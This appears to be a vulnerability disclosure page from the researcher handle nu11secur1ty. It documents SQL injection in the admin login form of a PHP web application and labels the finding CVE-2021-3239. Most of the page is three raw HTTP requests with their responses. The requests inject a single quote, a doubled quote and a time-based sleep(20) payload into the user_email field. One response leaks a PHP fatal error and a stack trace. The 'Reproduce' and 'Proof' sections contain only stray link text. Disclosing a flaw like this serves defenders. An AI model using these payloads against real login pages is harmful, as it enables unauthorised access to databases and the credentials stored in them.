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CVE-nu11secur1ty/vendors/janobe/CVE-nu11-101821/

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CVE-nu11-101821

CVE-2021-3239

Vendor

MySQL Request-1:

POST /caiwl/admin/login.php HTTP/1.1
Host: 192.168.1.4
Origin: http://192.168.1.4
Cookie: PHPSESSID=8qen88airh7u0ai06ijhk96a21
Upgrade-Insecure-Requests: 1
Referer: http://192.168.1.4/caiwl/admin/login.php
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Length: 90

user_email=IlZWXHcK@nu11secur1tycollaborator.net'&user_pass=m2G%21b5m%21D8&btnLogin=%C2%9E%C3%A9e

MySQL Response-1:

Response 1
HTTP/1.1 200 OK
Date: Mon, 18 Oct 2021 07:42:37 GMT
Server: Apache/2.4.51 (Win64) OpenSSL/1.1.1l PHP/7.4.24
X-Powered-By: PHP/7.4.24
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 7099
Connection: close
Content-Type: text/html; charset=UTF-8


<!-- Bootstrap core CSS -->


<!DOCTYPE html>
<html lang="en">
<head>
<title>Login V18</title>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initi
...[SNIP]...
<b>Fatal error</b>: Uncaught Error: Call to undefined function mysql_error() in C:\xampp\htdocs\caiwl\include\accounts.php:28
Stack trace:
#0 C:\xampp\htdocs\caiwl\admin\login.php(165): User::userAuthentication('IlZWXHcK@burpco...', '0314337dea4e6aa...')
#1 {main}
thrown in <b>
...[SNIP]...

MySQL Request-2:

POST /caiwl/admin/login.php HTTP/1.1
Host: 192.168.1.4
Origin: http://192.168.1.4
Cookie: PHPSESSID=8qen88airh7u0ai06ijhk96a21
Upgrade-Insecure-Requests: 1
Referer: http://192.168.1.4/caiwl/admin/login.php
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Length: 90

user_email=ICpueGIm@nu11secur1tycollaborator.net''&user_pass=g1M%21g9l%21F1&btnLogin=%C2%9E%C3%A9e

MySQL Response-2

HTTP/1.1 200 OK
Date: Mon, 18 Oct 2021 07:42:40 GMT
Server: Apache/2.4.51 (Win64) OpenSSL/1.1.1l PHP/7.4.24
X-Powered-By: PHP/7.4.24
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 6832
Connection: close
Content-Type: text/html; charset=UTF-8


<!-- Bootstrap core CSS -->


<!DOCTYPE html>
<html lang="en">
<head>
<title>Login V18</title>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initi
...[SNIP]...

MySQL Request-3

POST /caiwl/admin/login.php HTTP/1.1
Host: 192.168.1.4
Origin: http://192.168.1.4
Cookie: PHPSESSID=8qen88airh7u0ai06ijhk96a21
Upgrade-Insecure-Requests: 1
Referer: http://192.168.1.4/caiwl/admin/login.php
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Length: 90

user_email=QXVzAYzI@nu11secur1tycollaborator.net'%2b(select*from(select(sleep(20)))a)%2b'&user_pass=u0U%21y2z%21D9&btnLogin=%C2%9E%C3%A9e

MySQL Response-3

HTTP/1.1 200 OK
Date: Mon, 18 Oct 2021 07:42:51 GMT
Server: Apache/2.4.51 (Win64) OpenSSL/1.1.1l PHP/7.4.24
X-Powered-By: PHP/7.4.24
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 6811
Connection: close
Content-Type: text/html; charset=UTF-8


<!-- Bootstrap core CSS -->


<!DOCTYPE html>
<html lang="en">
<head>
<title>Login V18</title>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initi
...[SNIP]...

Reproduce

href

NOTE:

  • The PoC will be encrypted, sorry about this dear friends!
  • If someone wants to see this work, please write me!
  • KR @nu11secur1ty

Proof:

href